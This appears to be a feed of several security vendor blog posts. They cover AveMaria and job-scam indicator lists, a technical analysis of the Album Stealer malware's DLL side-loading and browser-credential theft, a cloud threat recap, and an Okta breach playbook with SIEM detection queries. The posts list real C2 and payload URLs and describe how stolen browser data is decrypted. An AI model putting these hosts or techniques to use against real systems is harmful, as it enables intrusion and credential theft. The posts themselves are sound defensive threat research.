pliblu-fax.home-webserver[.]de = C2 communication 2. AUloader_campaign [+] MD5s: 1afc02e79c53a3b7d27ee65316f519a9 = eml file Bfb7243c9fb7a8dccc6f3424c7b32735 = Zip file 421e24c8caf1bf35c0ff996b0e6f5e45= bundled payload F50f9458e7ee7bbcc6d0b684cddcd81a = Malicious obsfucated AutoitScript B392DC121A8BF6F50DDBA123F39C661A = Malicious payload [+] Network Indicators: kashbilly[.]duckdns[.]org = C2 communication 3. Phishing Email Targeting Ukraine Officials [+] MD5s: 3a7ba1f6f92af9ed43cbd590eb404496 = eml 44146555cf092feeb28dc749aa351396 = ISO A8097627f02f3421fc013e91150052c5 = Avemaria 2cee905780250147d511d517207ab859 = Shortcut file Ccf13de15cfedf95afc81369f5dd1c80 = Shortcut file C9dbd70385c2c1150277f826b7c31af7 = Shortcut file 2dae2b3e7148fe5040a730899a400cc5 = Shortcut file [+] Network Indicators: odessa-gov[.]ddns[.]net = C2 communication 4. Phishing campaign targeting Citizens of Serbia [+] MD5s: Ac8a30747ad3ea3cd4bc9997daeeb2a5= zip 69d86282fe302bc53974c260a33db01d = Avemaria [+] Network Indicators: 171[.]22[.]30[.]72:5151 = C2 communication 5. Vbs_campaign [+] MD5s: Af1dd5b0cd80d2456fed9576fa9cbd58 = eml Ef8b4d10a6afc84031cc25e3eb045ae3 = Zip file 09615ab1e7d3da53aba689272afb1f4d= vbs file 2f264464da58b60a91af5bce586b6407 = base64 Injector DLL C2f8bd0d0b06f7e2a7de6807e21e7201 = base64 Supporting DLL D39b8088f01baa5c3477a0ec823dfe1d = Reversed Base64-encoded AveMaria payload. [+] Md5s after decoding and restructuring of base64 encoded file: ba27a4e171e2af34388c342ef45069cc= Injector DLL 158855fa22529808ac412225c36ce5e9= Supporting DLL e85c51ea9fa1a32da2de02c11dba3f73= Ave_Maria_payload [+] Network Indicators: 80[.]76[.]51[.]222/jfgfhhjhgjkj[.]txt = Avemaria payload downloading url 20[.]7[.]14[.]99/server/dll2.]txt = Injector DLL downloading url 20[.]7[.]14[.]99/server/RUMPE2[.]txt = Supporting DLL downloading url 80[.]76[.]51[.]88:1956 = C2 communication 6. Mshta_campaign [+] MD5s: 6114a230ccdb77219c67c47e054f881a [hta] 62655c77982dbea9bfd30d0004862228 = ISO 2828f49cde16e65a1bee0c5c44aed8cc = .lnk 3bc9680077b50ad074e607b3ba700edc = AveMaria payload [+] Network Indicators: sgtmarkets[.]com/mt4.exe Payload downloading url sgtmarkets[.]com/h.hta = Payload downloading url mt4blog[.]com = C2 communication Sat, 04 Feb 2023 00:28:02 -0800 Stuti Chaturvedi https://www.zscaler.com/blogs/security-research/dynamic-approaches-seen-avemaria-s-distribution-strategy Job scams impersonate companies still hiring following tech layoffs https://www.zscaler.com/blogs/security-research/job-scams-impersonate-companies-still-hiring-following-tech-layoffs Summary In the midst of significant layoffs hitting the previously immune tech industry, scammers have mobilized and doubled down on targeting job seekers with various employment scams. Stealing personal information and extorting victims for money, these scams leverage fake job postings, sites or portals, and forms, wrapped in social engineering to attract job seekers. The Zscaler Threatlabz team observed multiple suspicious job portals and surveys used by attackers to solicit information from job seekers under the guise of employment application forms. The attackers may advertise jobs online, sometimes setting up fake websites, or look for targets on social media to steal money and personal information. Key Observations Threat actors masquerade as recruiters from specific companies, primarily located in the US and Canada. Malicious new domains are registered on hosting providers like Namecheap. Attackers scrape and reuse the contents of real job postings from public sites like SmartRecruiters and LinkedIn to convince applicants the post is legitimate. Fake application forms steal sensitive personal information from victims and may be sold, used for fraud, and to further target and extort victims. Newly Registered Domains (NRD) are commonly used by threat actors and these have suspicious Top-Level Domains (TLDs) such as .online, .work, .live, etc. typically followed by the name of the actual hiring organization the attackers are impersonating. Threat Campaign Analysis Our researchers discovered an active scam where the threat actor(s) positioned themselves as Zscaler recruiters targeting job seekers on LinkedIn. Fig 1 - Shows a LinkedIn message phishing for victims with a fake Zscaler job link and reference code This fake listing was created by a scammer from an active Zscaler job posting listed on SmartRecuiters, however the attackers made one change, lowering the years of experience requirement to attract more potential victims. For an unsuspecting candidate, this common outreach tactic may feel familiar and the copied job posting appears like a legitimate position. Fig 2 - Fake job post copied from an actual Zscaler listing on SmartRecruiters To apply for the fake job shown above, applicants are prompted to fill out a questionnaire that requests personal information, job role related information, and compensation information. Fig 3 - Landing page of the application questionnaire. As a final step of the questionnaire, the victim is prompted to verify identification by uploading a copy of their State ID, Drivers License, Residential Permit, or Passport. Collecting this document along with the victim's other personal information may enable the scammers to impersonate the victim committing identity theft and fraud, or sell the information to other scammers. Fig 4 - Final step of fake job questionnaire asking the victim for a copy of an official document containing Personally Identifiable Information (PII) After submitting the completed questionnaire, a confirmation message is displayed indicating the victim will be contacted via text message or email in 1-3 days for next steps in the application process. Fig 5 - Submission confirmation message displayed after completion of the fake job offer questionnaire Once the submission has been received by the scammers, they reach out using email to schedule a fake interview using Skype or a chat application, as shown in the screenshot below. Fig 6 - Malicious email impersonating a Zscaler recruiter scheduling aSkype interview with the victim Note that the Skype invitation provided in the email shows a profile photo of an actual Zscaler recruiter. Fig 7 - Malicious Skype invitation using a real profile picture to impersonate an actual Zscaler recruiter Following the fake interview, candidates may receive a fake job offer and be routed through a fake onboarding process. As a final step, victims may be asked to pay for shipping the IT hardware equipment they will need for the remote position or payments for onboarding training. Scammers may also ask for Social Security numbers and bank account information for depositing paychecks. Infrastructure Analysis The malicious site observed in this threat campaign contained currently inactive code to validate credit card details, a feature that may be used once a victim falls for the initial attack. Fig 8 - Source code showing commented-out credit card validation element The malicious domain used in this scam - zscaler-finance-analyst-strategy[.]live, was created on 23-Jan-2022, a Newly Registered Domain at the time of technical analysis by Threatlabz researchers on 24-Jan-2022, following an observed attack one day after the domain was created. Fig 9 - Registration details showing the site used in this scam was a Newly Registered Domain at the time of analysis A script found in the site’s code contained an email address impersonating a Netflix recruiter with domain jobnetflix[.]com. Conducting a pivot search on this email address, researchers discovered the following two additional fake job postings leveraged by the same unauthorized email account: UX designer (REMOTE) ZUORA SOFTWARE Project Administrator Construction, New Equipment KONE OYJ A complete list of domains previously linked to the same threat actor(s) are listed in the IOCs section at the end of this article. While investigating this campaign, ThreatLabz researchers also observed several other suspicious newly-registered sites portraying job portals or advertising fake job openings. Fig 10 - Fake Total Energies recruitment scam page Fig 11 - Malicious job portal with fake or stolen job listings Best practices to safeguard against these attacks: Ask for a direct link to the company’s job posting and reach out to the company directly using contact information you gather from the company website to verify the credibility of a job posting. Search for job postings across legitimate job sites. Only submit online applications to authentic verified sites. Do not engage in communication with any un-official email address or respond to a text or phone number without verifying legitimate company affiliation for the recruiter and confirming via email communication that they have a corporate email address.If you’re not familiar with the company, search its name with the word “scam” or “fraud.” You may find stories from others who have been targeted. Look for telltale signs of a possible scam like emails from personal email addresses or email addresses not affiliated with the company, grammar and spelling mistakes, interviews conducted solely via email or online chat, salaries out of line with industry norms, and requests for financial information or other personal information. Never make any type of payment for an application or job offer. Genuine organizations will never ask you for any type of payment to apply or accept a job offer. Likewise, legitimate recruitment agencies and placement firms are almost always compensated for sourced candidates by the companies they serve. Any request for payment should automatically raise a red flag that you are likely dealing with a scammer. Only use HTTPS/secure connections when visiting job postings. Ensure your operating system and web browser always have the latest security patches installed. Indicators of Compromise (IOCs) Domains used to masquerade as Zscaler zscaler-finance-analyst-strategy[.]live zscalercareers[.]co Previous domains used by the same threat actor(s) zuora-ux-designer-a83637.ingress-erytho.easywp[.]com submit-application[.]us global-application[.]us careers-firstenergycorp[.]online career-conagragroup[.]live canadiantire[.]work interview-petsmart[.]online hire-weston[.]com career-petsmart[.]com intellectsoftcareer[.]com Thu, 26 Jan 2023 16:56:34 -0800 Jithin Nair https://www.zscaler.com/blogs/security-research/job-scams-impersonate-companies-still-hiring-following-tech-layoffs Album Stealer Targets Facebook Adult-Only Content Seekers https://www.zscaler.com/blogs/security-research/album-stealer-targets-facebook-adult-only-content-seekers Information stealing malware is commonly observed in the landscape of cyber attacks today. Zscaler ThreatLabz team has discovered many new types of stealer malware families across different attack campaigns. Recently, the Zscaler ThreatLabz research team has spotted a new information stealer named Album. This blog will walk through the malware distribution campaigns and technical details of Album Stealer. Key points: Album Stealer is disguised as a photo album that drops decoy adult images while performing malicious activity in the background. The malware uses a side loading technique that uses legitimate applications to execute malicious DLLs to avoid detection in multiple stages. Album steals cookies and stored credentials from different web browsers on a victim’s machine Information is also stolen from Facebook Ads Manager, Facebook Business accounts and Facebook API graph pages. Album employs obfuscation using the ConcurrentDictionary class to mask important strings and data. Album sends information that is collected from an infected system to a command and control server. The threat group launching these attacks may be located in Vietnam. Infection chain: Album Stealer attacks start from fake Facebook profile pages that contain adult pictures of women. Threat actors create these profiles to lure a victim into clicking on a link to download an album containing the images. The attack starts when the victim clicks on that link, which either redirects to a zip archive file that is frequently hosted on Microsoft OneDrive or another malicious site that hosts a malicious zip file. The graph shown in Figure 1 contains a full attack chain. Fig 1: Attack chain of Album Stealer Figure 2 shows the initial malicious zip file download in Zscaler’s cloud. Fig 2: Album Stealer downloader identified in Zscaler’s cloud Technical Analysis An example Facebook URL used in this campaign is l.facebook[.com/l.php?u=https://rebrandtop[.]top/clgtf?fbclid={ID}&h={Value}&__tn__=*I&c[0]={Value}. The link redirects to a shared OneDrive folder that contains a malicious zip file as shown in Figure 3, or another site that hosts a malicious zip file such as hxxps://cdn[.ubutun[.]xyz/Main/Album.zip?random=13131. The filename of the zip varies between campaigns with names like Album.zip, AlbumSuGarBaby.zip, albumgirlsexy.zip or sexyalbum.zip. Fig 3: Onedrive link to download a malicious zip file The zip archive contains three files similar to the following: Album.exe PdfiumControl.dll data.dat Album.exe Album.exe is a legitimate TresoritPdfViewer executable file signed by “Tresorit kft”. This file is vulnerable to a DLL side loading attack. When Album.exe is run, the program will load a dependency named “PdfiumControl.dll”, which in this case is a malicious DLL. The code in the malicious PdfiumControl.dll will subsequently execute the data.dat file, which is a self-extracting archive (SFX) file. The SFX archive, when extracted, contains images of women that are used as a decoy. In the background, the malicious DLL starts its activities by searching for the "\%AppData%\Roaming\Canon" directory. If the directory does not exist, it will be created. Next, the malicious PdfiumControl.dll decrypts and drops several files. The file content is stored as an encrypted format in a dictionary. The ConcurrentDictionary class is used to fetch content using key/value pairs. The data is Base64 decoded and decompressed using GZip. The final payload is decrypted using the AES algorithm. The AES key is generated using the Rfc2898DeriveBytes class based on a hardcoded password and salt, with 1000 iterations. The AES key is 256 bits and the initialization vector is 128 bits. Figure 4 shows the decryption algorithm below. Fig 4: Album Stealer Decryption routine code The decryption process drops the following files: \%AppData%\Roaming\Canon\CNQ.exe \%AppData%\Roaming\Canon\Curl.dll \%AppData%\Roaming\Canon\Lenovo.TVT.CustomerFeedback.Manager.dll \%AppData%\Roaming\Canon\log4net.dll The file CNQ.exe is then executed. CNQ.exe CNQ.exe is another legitimate product from “D-iOSiCloud”. The executable is signed by “Shenzhen iMyFone Technology Co., Ltd”. This binary is also vulnerable to DLL side loading and used to load a malicious file named Curl.dll. Persistence Mechanism Curl.dll creates the Autostart Registry key to execute “CNQ.exe” at every restart. Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Speaker2020 Value: C:\Users\{UserName}\AppData\Roaming\Canon\CNQ.exe Further, Curl.dll creates the directory %AppData%\Roaming\Bluestack. The DLL also downloads the file http://cdn.ubutun[.xyz/Canon/sparkle-windows.xml and saves the result to:\%AppData%\Roaming\Canon\sparkle-windows.xml. The file sparkle-windows.xml contains the following: <enclosure url="http://cdn.ubutun[.xyz/Canon/app638065785676331179.zip sparkle:version="1.0.6" length="0" type="application/zip"/> The Curl.dll downloads a payload from the URL in this file (e.g., cdn.ubutun[.xyz/Canon/app{18 digit numeric}}.zip) and saves the result to \%AppData%\Roaming\Canon\app{{18 digit numeric}}.zip. Next the Curl.dll extracts the contents of the zip file into the directory %AppData%\Roaming/Bluestack/. After extraction, this folder contains the files below: DiskCompactionTool.exe Lenovo.TVT.CustomerFeedback.Manager.dll WDLocale.dll WDSyncConfiguration.dll WDSyncSettings.dll DiskCompactionTool.exe.config DiskCompactionTool.exe Next, the DiskCompactionTool.exe file is executed, which is a legitimate tool named “WD Sync” signed by “WESTERN DIGITAL TECHNOLOGIES”. The DiskCompactionTool.exe is also vulnerable to a DLL side loading attack, which is exploited to load a malicious file named “WDLocale.dll” . The malicious WDLocale.dll file creates 2 run registry keys for persistence to execute at every reboot as shown below: Registry key:SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name:BlueStacks_bgp64 Value:C:\Users\{UserName}\AppData\Roaming\Bluestack\DiskCompactionTool.exe Registry key:SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run Name:Speaker2020 Value:C:\Users\{UserName}\AppData\\Roaming\Bluestack\DiskCompactionTool.exe The malicious WDLocale.dll file checks for the presence of the file: C:\Users\{UserName}\Desktop\Roaming\Bluestack\versionid.txt If the file does not exist, it will be created. This file is used to store system information and a unique system ID. The DLL will then perform a beacon the command and control server to obtain further commands, which are saved in the file "%AppData%\Roaming\Bluestack\commonupdate". ThreatLabz observed the server send the following commands as shown in Figure 5: “120000|https://cdn[.]ubutun.xyz/App/Bravia.txt||Bravia.exe|Bravia|true|true|true|true|4127|” Fig 5: Album Stealer requesting commands from the C&C server The response from the C&C server contains a task ID that is used to track the status of a command. Figure 6 shows the result of executing the task with the C&C server acknowledging the status and the msg parameter containing “Status update successful” in the Vietnamese language. Fig 6: Album Stealer update status beacon The task shown in Figure 5, instructs the WDLocale.dll to connect to “cdn[.ubutun.xyz/App/Bravia.txt” that serves this URL “http://cdn[.ponamei[.top/App/app{18 digit numeric}.zip” and further , it downloads zip file and saved in the “%AppData%” directory "%AppData%\Roaming\Bluestack\app{18 digit numeric}.zip".After downloading the file, the content is a zip file that is extracted to "%AppData%\\Roaming\Bravia" folder containing the following files: Bravia.exe BouncyCastle.Crypto.dll EntityFramework.dll EntityFramework.SqlServer.dll EntityFramework.SqlServer.xml EntityFramework.xml Newtonsoft.Json.dll Newtonsoft.Json.xml System.Data.SQLite.dll System.Data.SQLite.EF6.dll System.Data.SQLite.Linq.dll System.Data.SQLite.xml CNQMUTIL.dll Bravia.exe The file Bravia.exe is legitimate and signed by “Canon Inc.”, which once again is vulnerable to a DLL side loading attack. When Bravia.exe is executed, it will load a malicious file named “CNQMUTIL.dll”. When loaded, this malicious DLL will search for the directory “%AppData%\Roaming\Bravia\Temps” and if it exists, will delete any files inside this directory. If the directory is not present then, the malicious CNQMUTIL.dll creates a Temps folder at “%AppData%\Roaming\Bravia\Temps”. The strings used in the DLL payload at different stages are stored in a ConcurrentDictionary class as key/value pairs. Here the different strings are not used statically and fetched only at runtime using a key from the ConcurrentDictionary. Next the code checks if the file “%AppData%\Roaming\Bluestack\versionid.txt” exists and obtains the system ID from the file. Otherwise, the malware creates the file with the system ID. Version ID The version ID contains system information that is generated from the ManagementClass, which retrieves data from WMI using a specific class path. The code below in Figure 7 contains the recipe to create the version ID string, with various system information concatenated together. Fig 7: Album Stealer version ID generation using system information code The function smethod_5 retrieves CPU information as shown in Figure 8. Fig 8: Album Stealer obtaining processor related information using Win32_Processor WMI class The smethod_3 contains the ManagementClass class that retrieves data from WMI using a specific class path including the UniqueId, ProcessorId, Name and Manufacturer. Figure 9 shows the code for smethod_3. Fig 9: Album Stealer smethod_3 code to retrieve system data using the Management class Next, the code calls the function smethod_6 to get information regarding the BIOS and fetches the information below using the Win32_BIOS WMI class: Manufacturer SMBIOSBIOSVersion IdentificationCode SerialNumber ReleaseDate Version Fig 10:Get BIOS related information using Win32_BIOS WMI class Next, the code calls the function smethod_8 and fetches the following information using the Win32_BaseBoard WMI class. Model Manufacturer Name SerialNumber Next, the code calls the function smethod_9 to obtain the following information about the VideoController using the Win32_VideoController WMI class. DriverVersion Name Next, the code calls the function smethod_10 to obtain the system’s MAC address using the Win32_NetworkAdapterConfiguration WMI class if IPenabled is true. The system information shown above is then hashed using MD5. The resulting MD5 hash is broken up into four byte segments separated by dashes, for example, “1ED9-A838-B7E5-A6AC-A107-{4 digit numeric}-{4 digit numeric}-{4 digit numeric}". This system identifier value is then stored in the versionid.txt file and sent to the command and control server. Data Stealing Most information stealers have a hardcoded list of known locations for applications that store sensitive data related to credentials, cookies and other user data. Then they fetch those files and extract the relevant information. In contrast, Album Stealer searches for file names instead of static paths, to steal data from any browser with specific file names without providing a static path. Album Stealer enumerates through all folders and searches for the files starting in the %AppData% folder Local State Login Data Cookies cookies.sqlite Further, Album searches and creates a list of files found in %AppData% and copies those files into “%AppData%\Roaming\Bravia\Temps\”. Based on the browser, Album copies different files in the Temps folder as shown in Figure 11. Fig 11: Example web browser login and cookie data targeted by Album Stealer Chromium-Based Browsers Album Stealer targets Chromium-based browsers including the following: Google Chrome Opera Microsoft Edge Brave Credentials Stealing Album Stealer targets the Local State, Login Data and Cookies files. The Local State file contains keys that are required to decrypt the web browser data. First Album Stealer reads the Local State file and loads the JSON file to recover the os_crypt and encrypted_key parameters as shown in Figure 12. Fig 12: Album Stealer retrieving the encrypted key from the Local Data file Then Album extract the Base64 encoded key from the JSON and decrypts the key via the ProtectedData.Unprotect function in C# as shown in Figure 13. Fig 13: Album Stealer’s web browser data decryption using the ProtectedData.Unprotect function The Login Data file contains saved usernames and passwords for browsers in SQLite format. Passwords are stored in encrypted form. Album Stealer opens the Login Data database file({Browser}Profile_login_{Datetime})and executes an SQL query and uses SqliteDataReader to extract the “action_url”, “username_value” and “password_value” fields and saved in the variables domain, user and pass respectively as shown in Figure 14. Fig 14:Retrieve stored Credentials from chromium browsers The password_value field is decrypted using the AES key extracted previously by using GcmBlockCipher's DoFinal and ProcessBytes methods as shown in Figure 15. Fig 15: Album Stealer decrypting web browser data Cookie stealing Further, Album Stealer opens the cookies database files({Browser}Profile_cookies_{Datetime})and executes an SQL query and uses SqliteDataReader to extract the following fields: host_key name encrypted_value Expires_utc The encrypted_value field is decrypted using the AES key extracted previously. This information is stored in variables named domain, name, value and Expires as shown in Figure 16. Fig 16: Album Stealer cookies stealing code Firefox Album extracts information from Firefox browser’s cookies.sqlite file by opening the database(FF_cookies_{Datetime}) and executing an SQL query to extract the information below: host_key Name encrypted_value Expires_utc These values are saved in the variables: domain, name, value and Expires parameters, respectively. Facebook data stealing Album steals stored credentials of Facebook and cookies from the browser by searching for cookies related to Facebook. This information is used to steal information from the Facebook API graph, Facebook Ads Manager, and Facebook Business accounts pages. Album uses the graph API to obtain information related to business accounts and Ad accounts. Business account details Album steals the following information related to Facebook Business accounts: id name created_time permitted_roles is_disabled_for_integrity_reasons sharing_eligibility_status verification_status extended credits billed_amount_details billing_period Cookies The screenshots below in Figure 17 and Figure 18 show the code to steal this data and the respective parameter names. Fig 17: Album Stealer harvesting business account data from Facebook pages Fig 18: Album business account data parameters Ad account details Album Stealer harvests the following information related to Ad accounts associated with a victim’s Facebook accounts: account id Account_status amount_details currency Total_amount Network Communication Album Stealer sends all data to the command and control server individually for different browsers. Figure 19 shows Album sending credentials and cookies information for the Google Chrome browser with the following HTTP query parameters: Keyid = versionid (based on system information) &ran = Unique ID attached in sample Fig 19:Send stolen data to command & control server Album Stealer will also send Facebook related data of victim’s profiles. After all data is sent, Album Stealer terminates itself. An observed response from the C&C was “{"status":0,"msg":"Đã xảy ra lỗi"}”. The msg parameter is in the Vietnamese language that translates to “Error! An error occurred. Please try again later”. Conclusion Threat actors are targeting Facebook users to download a malicious archive file that contains adult images as a decoy, while deploying a new information stealer that ThreatLabz has named Album. Album Stealer may bypass security products by leveraging legitimate applications that are vulnerable to DLL side loading. The Zscaler ThreatLabz team continues to monitor this campaign and protect users. Zscaler's multilayered cloud security platform detects indicators, as shown below: Win32.PWS.Album Indicators of Compromise (IOCs) Indicators Description d09be7c2784e05c615c3f1414a9b534d Zip file A844D8580BA205BCBB5F72DE6DC60352 1F79BB67A22EEDC2E5BAC2037A07710A 2131FFBB5613CC2F40D7394A2ECB71D7 B49CC8837C6D418B133BF4F0D455098D Clean file used for sideloading the malicious DLL. 5E0C580C5D84780D56C069D8F74F67AA EBDDEEB9823DDCC6FA8201431601B0BF 33F4C955FC38DD3A313E4A451345CAB9 11AD0039556FB04D4BA07DC89D9ABE3D 4A4D0728D0C1E3E06A90F26655FF58F3 435769AD9BE3B7C64A0089D833FC8E5E D7E1B8C5FACE37FD8B01EEE9974A0A7E Malicious DLL file 267cfa3c3c9cbff218bbd4ec098e4ab9 Dat file with images cdn.ubutun[.]xyz rebrandtop[.]top findalbum[.]top shopalbum[.]xyz neuka[.]top Keeptosafe[.]top Ponamei[.]top Foundaz[.]xyz microtobig[.]xyz CnC Fri, 20 Jan 2023 08:11:04 -0800 Rajdeepsinh Dodia https://www.zscaler.com/blogs/security-research/album-stealer-targets-facebook-adult-only-content-seekers A 2022 Year-end Recap on Cloud Threats https://www.zscaler.com/blogs/security-research/2022-year-end-recap-cloud-threats As the year is coming to an end, I can’t help but take a walk down memory lane to reminisce and reflect on the journey of the cloud threat landscape. Here’s my take on this 2022 recap of cloud threats. First things first, I think it’s safe to say that this year has been a rollercoaster of non-stop cyberattacks. Particularly the cloud threat landscape, it truly feels like the massive potholes in front of my home. Every 6-10 weeks, we get the same potholes, in the same place, only slightly bigger and worse than the first one and the threat landscape this year for public clouds has been no different. However, while the fundamental TTPs have not shifted, what we have seen is an evolution in long-chained attacks – where more traditional techniques such as social engineering have been combined with cloud misconfigurations and over-privileged identities – resulting in more impactful breaches for organizations. Now let’s dive into some of the observed patterns. Over-provisioned Privileges: The year started with LAPSUS$ making a big name for themselves by leveraging breached credentials and bypassing MFA to go for a joyride into several high-profile organizations. Once they established a beachhead into an organization, they moved laterally - stealing admin credentials and eventually getting ahold of highly privileged credentials for both cloud and on-prem resources. They were successful in compromising several cloud workloads and gaining access to sensitive data. Organizations continue to fail in tracking potential blast radiuses for human and non-human identities, which results in longer root cause analysis and wider impact in terms of data loss. Insider Threats: Organizations continue to miss exploitable access paths to sensitive data in their public cloud. The ability to understand indirect access paths to sensitive data is crucial in understanding how to mitigate risk of insider threats in the public cloud. For e.g. user has access to EC2 instance which has access to an S3 bucket and therefore has a transitive relationship with the data. Resource Misuse - Stale/Unused Objects: One of the key reasons the cloud improves productivity is because of the ability to move large quantities of data around. However, accidental sharing of database or disk snapshots or inadvertent access into these resources have resulted in several breaches this year. Unused IAM objects such as access roles, service principles and API access keys and continued to be an access vehicle for threat actors into organizations. Poor Appsec - Poorly coded web applications continue to provide front door access to cloud environments. Once exploited, threat actors can leverage the OWASP top 10 attack vectors such as SSRF / CSRF to gain access to the cloud metadata services and move laterally through poorly configured IAM roles. Organizations continually fail to harden cloud metadata services such as the instance metadata service(IMDS) in AWS Leaks by the Buckets or Blobs: Petabytes of data continue to be exposed through misconfigured cloud storage. Highly sensitive unencrypted data being stored in the public cloud has meant the perfect storm of data loss for organizations. Not being able to differentiate a legitimate public data share from an accidental one has been the root cause of countless breaches over the years, and 2022 has been no exception. Noisy tools and lack of cloud incident response processes have meant such incidents have been more impactful than they should have been for organizations. Software Supply Chain: We had several instances of malicious python packages being inserted into trusted code repositories such as PyPI/NPM. A 15-year-old vulnerability in a highly popular tool called ‘tar’ remained undetected because of the embedded nature of software dependencies. This package was later discovered to be present in highly popular utilities and container images. Hoax Vulnerability: The OpenSSL vulnerability (CVE 2022-3786 and CVE 2022-3602) disclosure got every organization on their toes resulting in log4j/log4shell DeJa’Vu. But thankfully the impact and exposure was considerably less. One interesting aspect of the lower impact was due to the fact that a majority of servers running OpenSSL were using out-of-date or older versions, talk about the patching paradox! Source Code Loss: The trend started with Solarwinds in 2020 and does not seem to slow down, threat actors are continuing to focus on the organization's intellectual property and source code repositories have been at the crosshairs of such. The goal is not only to impact and steal source code but also to trigger further supply chain attacks down the line. Loss of sensitive content through source code such as embedded API keys continue to proliferate and continue to grow in public code repositories such as Github. Learn more about how to respond to such incidents in our latest blog Cloud Provider Vulnerabilities: There has been a more concerted effort from the cloud security community to harden and find weaknesses in the CSP’s ability to isolate and protect customer environments and several vulnerabilities were discovered where tenant isolation was broken. To summarize, defenders (and developers) across the globe are probably thanking Santa Claus for not dropping another Log4j or Solarwinds (dare I say so) under their trees this year. While the trends observed here will continue to evolve, I am hopeful that increasing awareness on cloud-native attack paths and adoption of solutions – such as Zscaler Posture Control, our cloud-native application protection platform (CNAPP) solution, which combines multi-vector telemetry across cloud misconfigurations, data protection, and identity – will improve organizational resilience to the cloud attacks observed this year. So, what's next? As you head into the new year, there’s no doubt that these cloud threats will continue to advance. For that reason, give us an opportunity to be your mission partner in delivering a secure cloud infrastructure by providing a free assessment of your cloud infrastructure today and helping you build security processes that scale to your needs tomorrow. Learn more about Zscaler Posture Control. Wed, 28 Dec 2022 09:00:28 -0800 Arnab Roy https://www.zscaler.com/blogs/security-research/2022-year-end-recap-cloud-threats Okta Source Code Breach: How to Evaluate the Impact & Protect your Organization https://www.zscaler.com/blogs/security-research/okta-source-code-breach-how-evaluate-impact-protect-your-organization What happened in the Okta source code breach? Okta, a leading provider of authentication services and Identity and Access Management (IAM) solutions, confirmed that its private GitHub repositories were hacked this month. According to an email notification reported by BleepingComputer, and later confirmed by Okta security post, the incident involves threat actors stealing Okta's source code. The leaked Okta source code pertains to the Workforce Identity Cloud repository and does not pertain to any Auth0 (Customer Identity Cloud) products. Zscaler’s cloud is not at risk After a thorough investigation, ThreatLabz determined that Zscaler has not been impacted by the Okta breach. While Zscaler does use Okta internally for employees as an Identity Provider (IDP), all access to our production environments requires multiple additional factors including hardware tokens not provided by Okta. You can read our security trust post here. Source Code Repository Security Source code repositories should undergo periodic and systematic security assessments to ensure the confidentiality and integrity of the codebase. Developer and administrator access control audits, server and platform patching, and configuration reviews should be periodically performed to ensure that repositories are secure and that data is not lost or compromised. Assumed-breach scenarios and red team exercises should be leveraged against your code repositories to assess the impact of a successful external attack. The feedback from such activities should be used to strengthen security posture, inform incident response capabilities, and prepare for real-life incidents such as one reported by Okta. Consider the following with respect to securing your code repositories from compromise: Ensure that your source control software is up to date with the latest security patches. Leverage strict Role Based Access Control (RBAC) and MFA for your internal repositories, with access limited to authorized users with full audit trail. Protect access to the code in repositories using tokens or keys. Frequently rotate these keys, and revoke them when they are no longer needed. Perform routine scans on repositories to ensure that there are no secrets in code. This reduces the likelihood of further security impact after an initial compromise of the environment. ThreatLabz’ SOC playbook for Okta and Code Repositories We are sharing our SOC playbook that organizations can leverage to perform assessment and response activities for this type of breach. The Zscaler Security team has developed Security Operations Center (SOC) playbooks for identity (IDP) providers and Code Repositories such as GitHub. This playbook provides security analysts and researchers fast track access to threat identification and remediation at the user level. Suspicious behaviors trigger a security action workflow: for example, moving a user to a higher-access security group, changing multi-factor authentication methods, unauthorized access to our code repositories or other anomalous and potentially dangerous user behaviors. A review of identity provider logs for indicators of compromise associated with this attack should include the following steps: Review Okta admin/super admin account audit logs. Review cloud admin/super admin account audit logs. Review all executive accounts including MFA method changes. Review new Okta account creations and compare against employee onboarding. Review full Okta config to check for API access, logging configs, etc. Identify Okta accounts where MFA was disabled. Identify the user and root cause of the disablement. Re-enable MFA for those accounts. Reset password for Okta admins. Reset 2-factor authentication for Okta superadmins. Rotate Okta-generated API tokens. Verify Okta Support access is disabled. Verify Directory Debugger access is disabled. Review all critical users' access levels. Security Operations Center (SOC) Detection Rules for Okta and Github The process to enable Threat Detection for Identity Provider (IDP) like Okta using a SOC Playbook should be well-defined with specific workflows and actions. Okta has pre-built log ingestion modules for many of the common SIEM solutions. Once events are ingested, a number of queries can be created and easily leveraged for signs of a potential compromise or other suspicious activities. While they are not a comprehensive set of queries, they serve as a solid starting point for a security investigation. Detection Name Detection Query MFA Deactivation Attempt event.dataset:okta.system and event.action:user.mfa.factor.deactivate MFA Reset Attempt event.dataset:okta.system and event.action:user.mfa.factor.reset_all MFA Push Brute Force Attempt sequence by user.email with maxspan=10m [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] [any where event.module == "okta" and event.action == "user.authentication.sso"] MFA Bypass Attempt event.dataset:okta.system and event.action:user.mfa.attempt_bypass Account Login Brute Force Attempt event.dataset:okta.system and event.action:user.account.lock User Session Impersonation event.dataset:okta.system and event.action:user.session.impersonation.initiate Group Administrative Privilege Assignment event.dataset:okta.system and event.action:group.privilege.grant User Administrative Privilege Assignment event.dataset:okta.system and event.action:user.account.privilege.grant Policy Rule Modification event.dataset:okta.system and event.action:policy.rule.update Policy Rule Deletion event.dataset:okta.system and event.action:policy.rule.delete Policy Rule Deactivation event.dataset:okta.system and event.action:policy.rule.deactivate Similarly, you may want to monitor your Github logs for suspicious activity to ensure that a similar breach does not happen to your organization. Here are some suggested queries. Please refer to relevant MITRE ATT&CK TTPs for your code repositories. Detection Name Detection Query Enterprise Owner added business.add_admin SAML SSO Disabled business.disable_saml 2FA Disabled business.disable_two_factor_requirement Enterprise Admin Invited business.invite_admin Github Connect Created dotcom_connection.create Anonymous Git Access Enabled enterprise.config.enable_anonymous_git_access Git Push to Repo git.push Git Clone to Repo git.clone Migration Created migration.create Secret Keys Created oauth_application.generate_client_secret Forking to Private Repo Enabled private_repository_forking.enable User Public Key Created public_key.create Pull Request pull_request.create Repo Downloaded as Zip repo.download_zip Integration Created integration.create Guidance and Best Practices Following are some of the recommendations to enhance your security posture against similar scenarios involving your Identity Provider (IDP) and Source code repositories to protect your organization: Ensure MFA is enabled for all users. Consider MFA methods not facilitated by your primary Identity Provider (IDP) for critical systems including hardware-based tokens. Continuously monitor your Source Code Repositories such as Github logs for suspicious activity. Granular Role Based Access Control (RBAC) for your Source Code Repositories, Build Systems and Crown-Jewels to ensure only authorized users have access to the systems. Continually review policies and procedures with any organization involved in your supply chain. 